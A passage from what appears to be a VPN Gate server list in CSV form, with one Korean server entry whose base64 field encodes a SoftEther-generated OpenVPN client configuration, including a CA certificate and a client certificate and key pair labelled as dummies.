ZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxNTIuMTE3LjI0Ny4xNTIgMTU2NQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn758827282,211.251.224.51,764141,31,471333256,Korea Republic of,KR,6,168554195,84972,13389808332100,2weeks,DESKTOP-7T5JQBA's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYW